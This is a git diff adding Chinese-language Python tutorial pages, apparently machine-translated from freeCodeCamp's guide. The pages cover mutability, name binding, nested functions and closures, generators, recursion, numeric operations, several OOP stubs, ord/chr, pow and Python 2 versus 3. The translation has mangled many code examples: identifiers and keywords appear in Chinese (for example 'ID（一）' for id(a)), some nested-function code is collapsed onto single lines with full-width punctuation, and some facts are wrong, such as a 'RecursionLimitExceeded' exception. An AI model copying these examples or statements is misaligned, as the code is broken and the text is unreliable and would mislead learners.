+title: Python More Built in Types
+localeTitle: Python更多内置类型
+---
+以下部分描述了解释器中内置的标准类型。
+
+主要的内置类型是数字，序列，映射，类，实例和异常。
+
+一些集合类是可变的。在适当的位置添加，减去或重新排列其成员但不返回特定项的方法永远不会返回集合实例本身，而是返回None。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/mutability-and-variable-assignments/index.md b/client/src/guide/chinese/python/mutability-and-variable-assignments/index.md
new file mode 100644
index 0000000000..218b55e145
--- /dev/null
+++ b/client/src/guide/chinese/python/mutability-and-variable-assignments/index.md
@@ -0,0 +1,68 @@
+---
+title: Python Mutability and Variable Assignments
+localeTitle: Python可变性和变量赋值
+---
+> 每个对象都有一个标识，一个类型和一个值。对象的标识一旦创建就永远不会改变;你可以把它想象成对象在内存中的地址。 [资源](https://docs.python.org/3/reference/datamodel.html#data-model)
+
+创建`object` ，无法更改类型和标识。对象的值是否可以在创建后更改，确定对象是可变的（可以更改）还是不可变的（不能更改）。
+
+到目前为止，我们已经了解了几种类型的对象及其子类： `string` s和数字（整数，浮点，复数和布尔）对象。所有这些都是**不可变**对象。
+
+这个概念最初可能会让人感到困惑，因为如果你不能修改它，对象有什么好处。使这些对象可用的是分配和重新分配变量的能力。函数和运算符可以返回可以分配给变量的新对象。
+
+使用返回对象标识的内置[id函数](https://docs.python.org/3/library/functions.html#id) ，我们可以看到它是如何工作的。
+
+以下是一些要记住的事项：
+
+*   分配变量并不意味着_变量_是_对象_ 。我们使用了非常具体的语言，指出_赋值语句_ **将** **名称** （标识符） **绑定**到_对象_ 。可以重新分配变量：
+
+\`蟒蛇
+
+> > > a = 1＃将a绑定到对象。  
+> > > ID（一）  
+> > > 140355241530152  
+> > > a = 2＃将a重新绑定到另一个对象。  
+> > > ID（一）  
+> > > 140355241530128  
+> > > \`
+
+*   将两个不同的变量分配给具有相同值的_不可变对象_可能会导致（不保证）它们绑定到同一个_对象_
+
+\`蟒蛇
+
+> > > a = 1  
+> > > b = 1  
+> > > ID（一）  
+> > > 140355241530152  
+> > > id（b）＃在这种情况下，a和b绑定到同一个对象。  
+> > > 140355241530152  
+> > > \`
+
+*   将两个不同的变量分配给具有不同值的可变_对象_将始终导致它们绑定到不同的_对象_ ：
+
+\`蟒蛇
+
+> > > a = 1  
+> > > b = 2  
+> > > ID（一）  
+> > > 140355241530152  
+> > > id（b）#a和b绑定到不同的对象。  
+> > > 140355241530128  
+> > > \`
+
+*   重新分配变量不会更改原始对象，而是将它们绑定到不同的对象。
+
+\`蟒蛇
+
+> > > a = 1  
+> > > b = 1  
+> > > ID（一）  
+> > > 140355241530152  
+> > > ID（b）中  
+> > > 140355241530152  
+> > > a = 2  
+> > > id（a）#a被反弹到另一个对象。  
+> > > 140355241530128  
+> > > id（b）#b仍然绑定到原始对象。  
+> > > 140355241530152  
+> > > \`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/name-binding-and-aliasing-functions/index.md b/client/src/guide/chinese/python/name-binding-and-aliasing-functions/index.md
new file mode 100644
index 0000000000..8c08d2cddd
--- /dev/null
+++ b/client/src/guide/chinese/python/name-binding-and-aliasing-functions/index.md
@@ -0,0 +1,28 @@
+---
+title: Python Name Binding and Aliasing Functions
+localeTitle: Python名称绑定和别名函数
+---
+函数定义在当前符号表中引入函数名称。函数名称的值具有解释器将其识别为用户定义函数的类型。
+```
+>>> something = 1 
+ >>> type(something) 
+ <type 'int'> 
+ >>> def something(): 
+ ...     pass 
+ ... 
+ >>> type(something) 
+ <type 'function'> 
+ >>> something = [] 
+ >>> type(something) 
+ <type 'list'> 
+```
+
+此值可以分配给另一个名称，该名称也可以用作函数。这是一般的重命名机制：
+```
+>>> fib 
+ <function fib at 10042ed0> 
+ >>> f = fib 
+ >>> f(100) 
+ 0 1 1 2 3 5 8 13 21 34 55 89 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/nested-functions/index.md b/client/src/guide/chinese/python/nested-functions/index.md
new file mode 100644
index 0000000000..73399ee64e
--- /dev/null
+++ b/client/src/guide/chinese/python/nested-functions/index.md
@@ -0,0 +1,105 @@
+---
+title: Nested Functions in Python
+localeTitle: Python中的嵌套函数
+---
+### 命名空间
+
+函数的参数，以及函数体中绑定的任何变量（通过赋值或其他绑定语句，如def）构成函数的本地名称空间，也称为本地作用域。这些变量中的每一个都被称为函数的局部变量。
+
+非本地变量称为全局变量（在没有嵌套函数定义的情况下，我们将在稍后讨论）。全局变量是模块对象的属性，如第140页的“模块对象的属性”中所述。每当函数的局部变量与全局变量具有相同的名称时，该函数体内的名称引用局部变量，不是全球性的。我们通过说局部变量在整个函数体中隐藏同名的全局变量来表达这一点。
+
+### 全球声明
+
+默认情况下，函数体中绑定的任何变量都是函数的局部变量。如果一个函数需要重新绑定一些全局变量，那么第一个 功能声明必须是：
+
+全局标识符
+
+其中identifier是由逗号（，）分隔的一个或多个标识符。全局语句中列出的标识符指的是函数需要重新绑定的全局变量（即模块对象的属性）。例如，我们在第73页的“函数对象的其他属性”中看到的函数计数器可以使用全局变量和全局变量来实现，而不是函数对象的属性：
+
+\_count = 0 def counter（）： 全局\_count \_count + = 1 return \_count
+
+如果没有全局语句，计数器函数将引发UnboundLocal-Error异常，因为\_count将是未初始化（未绑定）的局部变量。虽然全局声明支持这种编程，但这种风格通常不够优雅且不可取。正如我之前提到的，当你想将一些状态和某些行为组合在一起时，第5章中介绍的面向对象机制通常是最好的。
+
+如果函数体只使用全局变量，则不要使用全局变量（如果对象是可变的，则包括变量绑定到该变量的对象）。仅当函数体重新绑定全局变量时（通常通过分配变量的名称），才使用全局语句。作为一种风格问题，不要使用全局，除非它是绝对必要的，因为它的存在将使你的程序的读者认为该声明是出于某些有用的目的。特别是，除了作为函数体中的第一个语句之外，永远不要使用全局。
+
+{mospagebreak title =嵌套函数和嵌套作用域}
+
+函数体内的def语句定义嵌套函数，其体包含def的函数称为嵌套函数的外部函数。嵌套函数体中的代码可以访问（但不重新绑定）外部函数的局部变量，也称为嵌套函数的自由变量。
+
+让嵌套函数访问值的最简单方法通常不依赖于嵌套作用域，而是显式地将该值作为函数参数之一传递。如果需要，可以在使用值作为可选参数的缺省值定义嵌套函数时绑定参数的值。例如：
+
+def percent1（a，b，c）： def pc（x，total = a + b + c）：return（x \* 100.0）/ total print“百分比是：”，pc（a），pc（b），pc（c）
+
+以下是使用嵌套作用域的相同功能：
+
+def percent2（a，b，c）： def pc（x）：return（x \* 100.0）/（a + b + c） print“百分比是：”，pc（a），pc（b），pc（c）
+
+在这种特定情况下，percent1有一个很小的优势：a + b + c的计算只发生一次，而percent2的内部函数pc重复计算三次。但是，如果外部函数在对嵌套函数的调用之间重新绑定其局部变量，则可能需要重复计算。因此，建议您了解这两种方法，并根据具体情况选择最合适的方法。
+
+从外部局部变量访问值的嵌套函数也称为闭包。以下示例显示了如何构建闭包：
+
+def make\_adder（augend）： def add（addend）： 返回addend + augend 返回添加
+
+闭包是一般规则的一个例外，第5章中介绍的面向对象机制是将数据和代码捆绑在一起的最佳方法。当你需要专门构造可调用对象时，在对象构造时固定一些参数，闭包可以比类更简单，更有效。例如，make\_adder（7）的结果是一个接受单个参数并向该参数添加7的函数。返回闭包的外部函数是由一些参数区分的函数族成员的“工厂”，例如前一个示例中参数augend的值，并且通常可以帮助您避免代码重复。
+
+### lambda表达式
+
+如果函数体是单个返回表达式语句，则可以选择使用特殊的lambda表达式替换该函数：
+
+lambda参数：表达式
+
+lambda表达式是正常函数的匿名等价物，其正文是单个return语句。请注意，lambda语法不使用return关键字。您可以在任何可以使用函数引用的地方使用lambda表达式。当你想使用一个简单的函数作为参数或返回值时，lambda有时会很方便。这是一个使用lambda表达式作为内置过滤器函数的参数的示例（在过滤器中介绍，第161页）：
+
+aList = \[1,2,3,4,5,6,7,8,9\] 低= 3 高= 7 过滤器（lambda x，l =低， h =高：h> x> l，aList）＃返回：\[4,5,6\]
+
+作为替代方法，您始终可以使用本地def语句为函数对象提供名称。然后，您可以使用此名称作为参数或返回值。这是使用本地def语句的相同过滤器示例：
+
+aList = \[1,2,3,4,5,6,7,8,9\] 低= 3 高= 7 def在_界限内（值，l =低，h =高）： 返回h> value> l filter（在_ bounds，aList中）#return：\[4,5,6\]
+
+虽然lambda偶尔会有用，但许多Python用户更喜欢def，这更通用，如果为函数选择合理的名称，可能会使代码更具可读性。
+
+{mospagebreak title = Generators}
+
+当函数体包含一个或多个关键字yield时，该函数称为生成器。当您调用生成器时，函数体不会执行。相反，调用生成器返回一个特殊的迭代器对象，它包装函数体，其局部变量（包括其参数）和当前执行点，最初是函数的开始。
+
+当调用此迭代器对象的下一个方法时，函数体将执行下一个yield语句，该语句采用以下形式：
+
+屈服表达
+
+当yield语句执行时，函数执行被“冻结”，当前执行点和局部变量保持不变，并且作为下一个方法的结果返回yield之后的表达式。当再次调用next时，函数体的执行将从中断处继续执行，再次执行下一个yield语句。如果函数体结束或执行return语句，迭代器会引发StopIteration异常以指示迭代已完成。生成器中的return语句不能包含表达式。
+
+生成器是构建迭代器的一种非常方便的方法。因为使用迭代器的最常见方法是使用for语句循环它，所以通常调用这样的生成器：
+
+对于somegenerator（参数）中的可变：
+
+例如，假设您想要一系列数字从1到N再次计数，然后再次减少到1。发电机可以帮助：
+
+def updown（N）： for x in xrange（1，N）：yield x for x in xrange（N，0，-1）：yield x 对于我在updown（3）： print i＃prints：1 2 3 2 1
+
+这是一个有点像内置xrange函数的生成器，但返回一系列浮点值而不是整数序列：
+
+def frange（start，stop，step = 1.0）： 而开始<停止： 产量开始 开始+ =步骤
+
+这个frange示例有点像xrange，因为为简单起见，它使参数开始和停止是强制性的，并且默认地假设步骤是正的。
+
+生成器比返回列表的函数更灵活。生成器可以构建无界迭代器，意味着返回无限结果流（仅在通过其他方式终止的循环中使用，例如，通过break语句）。此外，生成器构建的迭代器执行延迟评估：迭代器仅在需要时及时地计算每个连续项，而等效函数提前完成所有计算并且可能需要大量内存来保存结果列表。因此，如果您只需要迭代计算序列，则通常最好在生成器中而不是在返回列表的函数中计算序列。如果调用者需要一些有界生成器G（参数）生成的所有项的列表，则调用者可以简单地使用以下代码：
+
+resul\_list = list（G（arguments））
+
+### 生成器表达式
+
+Python 2.4引入了一种更简单的方法来编写特别简单的生成器：生成器表达式，通常称为genexps。 genexp的语法就像列表推导的语法（如第67页的“列表推导”中所述），除了genexp括在括号（（））而不是括号（\[\]）; genexp的语义与相应列表理解的语义相同，只是genexp产生迭代器一次产生一个项目，而列表理解产生内存中所有结果的列表（因此，使用genexp，当适当，节省记忆）。例如，要对所有单位数整数的平方求和，在任何现代Python中，您都可以进行编码 sum（\[x _x for x in xrange（10）\]）;在Python 2.4中，您可以更好地表达此功能，将其编码为sum（x_ x表示xrange（10）中的x）（只是相同，但省略括号），并获得完全相同的结果，同时消耗更少的内存。请注意，表示函数调用的括号也“执行双重任务”并包含genexp（不需要额外的括号）。
+
+{mospagebreak title = Python 2.5中的生成器}
+
+在Python 2.5中，生成器得到进一步增强，可以在每个yield执行时从调用者接收值（或异常）。这些高级功能允许2.5中的生成器实现完整的协同例程，如http://www.python.org/peps/pep-0342.html中所述。主要的变化是，在2.5中，yield不是一个语句，而是一个表达式，因此它有一个值。通过下一步调用其方法恢复生成器时，相应的yield的值为None。要将值x传递给某个生成器g（以便g接收x作为其挂起的yield的值），而不是调用g.next（），调用者调用g.send（x）（调用g.send） （无）就像调用g.next（））。此外，在Python 2.5中，没有参数的裸产率变得合法，并且相当于产生None。
+
+生成器的其他Python 2.5增强功能与异常有关，并在第126页的“生成器增强功能”中介绍。
+
+### 递归
+
+Python支持递归（即Python函数可以调用自身），但递归的深度有限。默认情况下，Python会在检测到递归调用堆栈的深度超过1,000时，中断递归并引发RecursionLimitExceeded异常（在“标准异常类”（第130页）中介绍）。您可以使用模块sys的函数setrecursionlimit更改递归限制，请参阅第171页的setrecursionlimit。
+
+但是，更改递归限制并不能为您提供无限递归;绝对最大限制取决于运行程序的平台，特别是底层操作系统和C运行时库，但通常只有几千个级别。如果递归调用太深，程序崩溃。在调用超出平台功能的setrecursionlimit之后，这种失控的递归是Python程序崩溃的极少数方式之一 - 真正崩溃，很难，没有通常的Python异常机制的安全网。因此，要小心尝试使用setrecursionlimit通过将递归限制提高得太高来修复正在获取RecursionLimitExceeded异常的程序。通常，建议您更好地寻找删除递归的方法，或者更具体地说，限制程序所需的递归深度。
+
+熟悉Lisp，Scheme或函数式编程语言的读者必须特别注意Python不实现“尾部调用消除”的优化，这在这些语言中非常重要。在Python中，任何调用（递归与否）在时间和内存空间方面都有相同的成本，仅取决于参数的数量：成本不会改变，调用是否是“尾调用”（意思是该调用是调用者执行的最后一个操作）或任何其他非尾调用。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/numeric-operations/index.md b/client/src/guide/chinese/python/numeric-operations/index.md
new file mode 100644
index 0000000000..5df11dd1aa
--- /dev/null
+++ b/client/src/guide/chinese/python/numeric-operations/index.md
@@ -0,0 +1,45 @@
+---
+title: Python Numeric Operations
+localeTitle: Python数值运算
+---
+[Python文档 - 数字操作](https://docs.python.org/3/library/stdtypes.html#numeric-types-int-float-complex)
+
+Python完全支持混合算术：当二进制算术运算符具有不同数值类型的操作数时，具有“较窄”类型的操作数被扩展为另一个的操作数，其中整数比浮点更窄，这比复数更窄。混合类型数字之间的比较使用相同的规则。 [2\]构造函数int（），float（）和complex（）可用于生成特定类型的数字。](https://docs.python.org/3/library/functions.html#abs)
+
+所有数字类型（复杂除外）都支持以下操作，按升序优先级排序（所有数字操作的优先级都高于比较操作）：
+
+操作|结果|备注|完整的文档  
+\----------------- | -------------------------------------------------- ------------------------- | ------ | -------------------------------------------------- ---------------------  
+`x + y` | x和y的总和| |  
+`x - y` | x和y的差异| |  
+`x * y` | x和y的乘积| |  
+`x / y` | x和y |的商|  
+`x // y` | x和y |的平均商（1）|  
+`x % y` |剩余的x / y | （2）  
+`-x` | x否定| |  
+`+x` | x不变| |  
+`abs(x)` | x |的绝对值或大小| \[ `abs()`  
+`int(x)` | x转换为整数| （3）（6）| [`int()`](https://docs.python.org/3/library/functions.html#int)  
+`float(x)` | x转换为浮点| （4）（6）| [`float()`](https://docs.python.org/3/library/functions.html#float)  
+`complex(re, im)` |一个带有实部re的复数，虚部im。我默认为零。 | （6）| [`complex()`](https://docs.python.org/3/library/functions.html#complex)  
+`c.conjugate()` |复数c的共轭|  
+`divmod(x, y)` |对（x // y，x％y）| （2）| [`divmod()`](https://docs.python.org/3/library/functions.html#divmod)  
+`pow(x, y)` | x到幂y | （5）| [`pow()`](https://docs.python.org/3/library/functions.html#pow)  
+`x ** y` | x到幂y | （5）
+
+**笔记：**
+
+1.  也称为整数除法。结果值是整数，但结果的类型不一定是int。结果始终舍入为负无穷大： `1//2`为`0` ， `(-1)//2`为`-1` `1//(-2)`为`-1` ， `(-1)//(-2)`为`0` 。
+    
+2.  不是复杂的数字。而是在适当的情况下使用`abs()`转换为浮点数。
+    
+3.  从浮点到整数的转换可以像C中那样舍入或截断;请参阅函数[`math.floor()`](https://docs.python.org/3/library/math.html#math.floor)和[`math.ceil()`](https://docs.python.org/3/library/math.html#math.ceil)以获得明确定义的转换。
+    
+4.  `float`也接受字符串`“nan”`和`“inf”` ，带有可选前缀`“+”`或`“-”`表示非数字（NaN）和正或负无穷大。
+    
+5.  Python将`pow(0, 0)`和`0 ** 0`为`1` ，这在编程语言中很常见。
+    
+6.  接受的数字文字包括数字0到9或任何Unicode等效项（具有`Nd`属性的代码点）。
+    
+
+> 有关具有`Nd`属性的代码点的完整列表，请参阅[Unicode派生数字类型](http://www.unicode.org/Public/8.0.0/ucd/extracted/DerivedNumericType.txt) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/numeric-types/index.md b/client/src/guide/chinese/python/numeric-types/index.md
new file mode 100644
index 0000000000..d24e389455
--- /dev/null
+++ b/client/src/guide/chinese/python/numeric-types/index.md
@@ -0,0 +1,36 @@
+---
+title: Python Numeric Types
+localeTitle: Python数字类型
+---
+Python的[数字类型](https://docs.python.org/3/library/stdtypes.html#numeric-types-int-float-complex)是：
+
+*   整数（ `int` ）
+
+#### 例子：
+
+```py
+print(1) 
+ print(100) 
+ print(8435367) 
+```
+
+*   浮点数（ `float` ）
+    *   [构造函数](https://docs.python.org/3/library/functions.html#float)
+
+#### 例子：
+
+```py
+print(1.5) 
+ print(46.84) 
+ print(84357.435) 
+```
+
+*   复数
+    *   [构造函数](https://docs.python.org/3/library/functions.html#complex)
+
+标准库为数据类型添加
+
+*   [馏分](https://docs.python.org/3/library/fractions.html#module-fractions)
+*   [小数点](https://docs.python.org/3/library/decimal.html#module-decimal)
+
+数字对象是从文字或函数和运算符的结果创建的。数字文字的语法已有详细[记载](https://docs.python.org/3/reference/lexical_analysis.html#numeric-literals) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/classes/index.md b/client/src/guide/chinese/python/object-oriented-programming/classes/index.md
new file mode 100644
index 0000000000..dcc540bde9
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/classes/index.md
@@ -0,0 +1,17 @@
+---
+title: Classes
+localeTitle: 类
+---
+## 类
+
+类是创建对象的“蓝图”：编写类允许描述属性和行为公共到该类的每个实例。
+
+## 创建一个类
+
+要定义类，请使用关键字**类** ，后跟定义类的名称和冒号。以下所有行（描述属性和行为/方法的代码） - 在Python函数中缩进。例如，要创建一个名为Person的类，我们可以编写：
+
+`class Person: <code describing attributes and behaviors/methods>`
+
+类定义必须在它们产生任何影响之前执行。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/constructors/index.md b/client/src/guide/chinese/python/object-oriented-programming/constructors/index.md
new file mode 100644
index 0000000000..28ce952224
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/constructors/index.md
@@ -0,0 +1,11 @@
+---
+title: Constructors
+localeTitle: 构造函数
+---
+## 构造函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/index.md b/client/src/guide/chinese/python/object-oriented-programming/index.md
new file mode 100644
index 0000000000..722ca9a6c0
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/index.md
@@ -0,0 +1,16 @@
+---
+title: Python Object Oriented Programming
+localeTitle: 面向对象的Python编程
+---
+## 面向对象的Python编程
+
+Python是一种支持不同编程方法的多范式编程语言。一种优秀的编程范例是面向对象编程，或简称OOP，通过创建对象。
+
+在OOP中，属性和行为被捆绑到单个对象中，其特征如下：
+
+*   属性
+*   行为
+
+例如，一个对象可以代表具有属性的人，如姓名，年龄，地址，行走，说话，呼吸和跑步等行为。
+
+OOP将现实世界的实体建模为软件对象，它们具有与之相关的一些数据并且可以执行某些功能。对象被建模为**类** ，这是一种_蓝图_ 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/inheritance/index.md b/client/src/guide/chinese/python/object-oriented-programming/inheritance/index.md
new file mode 100644
index 0000000000..fef78928b6
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/inheritance/index.md
@@ -0,0 +1,11 @@
+---
+title: Inheritance
+localeTitle: 遗产
+---
+## 遗产
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/methods/index.md b/client/src/guide/chinese/python/object-oriented-programming/methods/index.md
new file mode 100644
index 0000000000..c381a132f7
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Methods
+localeTitle: 方法
+---
+## 方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/operator-overloading/index.md b/client/src/guide/chinese/python/object-oriented-programming/operator-overloading/index.md
new file mode 100644
index 0000000000..1eb5ccfac3
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/operator-overloading/index.md
@@ -0,0 +1,11 @@
+---
+title: Operator Overloading
+localeTitle: 运算符重载
+---
+## 运算符重载
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/special-comparison-methods/index.md b/client/src/guide/chinese/python/object-oriented-programming/special-comparison-methods/index.md
new file mode 100644
index 0000000000..788d91a6a2
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/special-comparison-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Comparison Methods
+localeTitle: 特殊比较方法
+---
+## 特殊比较方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/special-formatting-methods/index.md b/client/src/guide/chinese/python/object-oriented-programming/special-formatting-methods/index.md
new file mode 100644
index 0000000000..2cf0da61ab
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/special-formatting-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Formatting Methods
+localeTitle: 特殊格式化方法
+---
+## 特殊格式化方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/special-iteration-methods/index.md b/client/src/guide/chinese/python/object-oriented-programming/special-iteration-methods/index.md
new file mode 100644
index 0000000000..db321bd8fa
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/special-iteration-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Iteration Methods
+localeTitle: 特殊迭代方法
+---
+## 特殊迭代方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/object-oriented-programming/static-variables/index.md b/client/src/guide/chinese/python/object-oriented-programming/static-variables/index.md
new file mode 100644
index 0000000000..4f979e9979
--- /dev/null
+++ b/client/src/guide/chinese/python/object-oriented-programming/static-variables/index.md
@@ -0,0 +1,11 @@
+---
+title: Static Variables
+localeTitle: 静态变量
+---
+## 静态变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/ord-function/index.md b/client/src/guide/chinese/python/ord-function/index.md
new file mode 100644
index 0000000000..4fcd945702
--- /dev/null
+++ b/client/src/guide/chinese/python/ord-function/index.md
@@ -0,0 +1,35 @@
+---
+title: Python Ord Function
+localeTitle: Python Ord函数
+---
+## Ord功能
+
+`ord()`是Python 3中的内置函数，用于将表示一个Unicode字符的字符串转换为整数 表示字符的Unicode代码。
+
+#### 例子：
+```
+>>> ord('d') 
+ 100 
+ >>> ord('1') 
+ 49 
+```
+
+## chr功能
+
+`chr()`是Python 3中的内置函数，用于转换整数 将Unicode代码表示为表示相应字符的字符串。
+
+#### 例子：
+```
+>>> chr(49) 
+ '1' 
+```
+
+有一点需要注意，如果传递给`chr()`的整数值超出范围，则会引发ValueError。
+```
+>>> chr(-10) 
+ 'Traceback (most recent call last): 
+  File "<pyshell#24>", line 1, in <module> 
+    chr(-1) 
+ ValueError: chr() arg not in range(0x110000)' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/parenthesis-for-boolean-operations/index.md b/client/src/guide/chinese/python/parenthesis-for-boolean-operations/index.md
new file mode 100644
index 0000000000..a45b3fd316
--- /dev/null
+++ b/client/src/guide/chinese/python/parenthesis-for-boolean-operations/index.md
@@ -0,0 +1,17 @@
+---
+title: Python Parenthesis for Boolean Operations
+localeTitle: 布尔运算的Python括号
+---
+就像在数学中一样，括号可用于覆盖操作的顺序：
+```
+>>> not True or True 
+ True 
+ >>> not (True or True) 
+ False 
+ 
+ >>> True or False and False 
+ True 
+ >>> (True or False) and False 
+ False 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/powxy/index.md b/client/src/guide/chinese/python/powxy/index.md
new file mode 100644
index 0000000000..5aae2b8e48
--- /dev/null
+++ b/client/src/guide/chinese/python/powxy/index.md
@@ -0,0 +1,25 @@
+---
+title: Python Powxy
+localeTitle: Python Powxy
+---
+`pow(x, y, z)`是Python 3中的内置函数，用于计算`x`到幂`y` ，如果`z`存在，则将`x`返回到幂`y` [modulo](https://processing.org/reference/modulo.html) `z` 。
+
+## 参数
+
+参数必须具有数字类型。 该函数有两个参数， `x`和`y` ，以及三个， `x` ， `y`和`z` 。 如果存在`z` ，则`x`和`y`必须是整数类型，y必须是非负的。
+
+## 返回
+
+如果`z`存在，它返回`x`的电源`y`模`z` 。如果仅存在`x`和`y` ，则将`x`返回到幂`y` （与`x**y`相同）。
+
+## 例
+
+```python
+print(pow(2,4))    # prints 16 
+ print(pow(10,-2))  # prints 0.01 
+ print(pow(4,3,5))  # prints 4 
+```
+
+[🚀运行代码](https://repl.it/CTGi)
+
+[官方文件](https://docs.python.org/3/library/functions.html#pow)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/python-2-vs-python-3/index.md b/client/src/guide/chinese/python/python-2-vs-python-3/index.md
new file mode 100644
index 0000000000..454cd608b7
--- /dev/null
+++ b/client/src/guide/chinese/python/python-2-vs-python-3/index.md
@@ -0,0 +1,65 @@
+---
+title: Python 2 vs Python 3
+localeTitle: Python 2与Python 3
+---
+我们不参与辩论。如果您有兴趣了解更多关于它的学术目的，也许[这篇文章比较Python 2和Python 3](https://wiki.python.org/moin/Python2orPython3)会引起您的兴趣。
+
+但是，我们也不能不知道有两种主要的Python风格。你问，为什么要关心你呢？因为为一个版本的Python编写的代码可能会导致另一个版本的Python出现语法错误。
+
+以下是Python 2中的有效`print`语句，但不适用于Python 3：
+
+```py
+print "Hello World" 
+```
+
+在Python 3中，同一语句会抛出这样的错误：
+```
+>>> print "hello" 
+  File "<stdin>", line 1 
+    print "hello" 
+                ^ 
+ SyntaxError: Missing parentheses in call to 'print' 
+```
+
+在Python 2中，“print”被视为语句而不是函数。尽管您可以，但您无需将要打印的文本包装在括号中。 Python 3明确将“print”视为一个函数，这意味着您必须以标准方式将需要打印的项目传递给括号中的函数，否则您将收到语法错误
+
+在Python 2和3中使用`print()`函数是“安全的”：
+
+```python
+print("Hello World") 
+```
+
+Python 2和Python 3之间的另一个区别是它们在调用`map()`函数时返回的数据结构。
+
+在Python 2中， `map()`返回一个列表：
+```
+>>> result = map(int,['10','20','30','40']) 
+ >>> print result 
+ >>> [10,20,30,40] 
+```
+
+在Python 3中， `map()`返回一个迭代器：
+```
+>>> result = map(int,['10','20','30','40']) 
+ >>> print (result) 
+ >>> <map object at 0x7f40896b4630> 
+```
+
+要在Python 3中获取列表，您需要转换它：
+```
+>>> result = list(map(int,['10','20','30','40'])) 
+ >>> print (result) 
+ >>> [10,20,30,40] 
+```
+
+所以，你现在唯一需要关注的问题是什么;你要选哪一个？如果你是Python的新手，你应该选择Python 3.Python 2目前[的生命终止](https://www.python.org/dev/peps/pep-0373/#update)日期设置为2020.意味着常规错误修正不能保证前进，是的，甚至需要时间来熟悉大多数常见方面蟒蛇;而你的时间很重要。所以，明智地投入时间和精力！
+
+虽然Python 2受到良好支持和欢迎，但Python中最常见的库和框架更喜欢Python 3. Django正式[推荐](https://docs.djangoproject.com/en/1.9/faq/install/#faq-python-version-support) Python 3. Flask及其所有依赖项也[支持](http://flask.pocoo.org/docs/0.10/python3/#python3-support) Python 3。
+
+Python 2和Python 3都很棒。大多数Linux和macOS发行版预装了Python 2作为Python的默认版本。 Python 3源于对更可读和更美丽​​的语言结构的永不满足的追求。
+
+本文使用Python 3在您的开发环境中设置Web框架。但在此之前，您需要确保拥有Python 3并知道如何使用它！
+
+#### 更多信息：
+
+*   [Python 2或3文章](https://wiki.python.org/moin/Python2orPython3)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/python-coding-standards/index.md b/client/src/guide/chinese/python/python-coding-standards/index.md
new file mode 100644
index 0000000000..2c8a1f9857
--- /dev/null
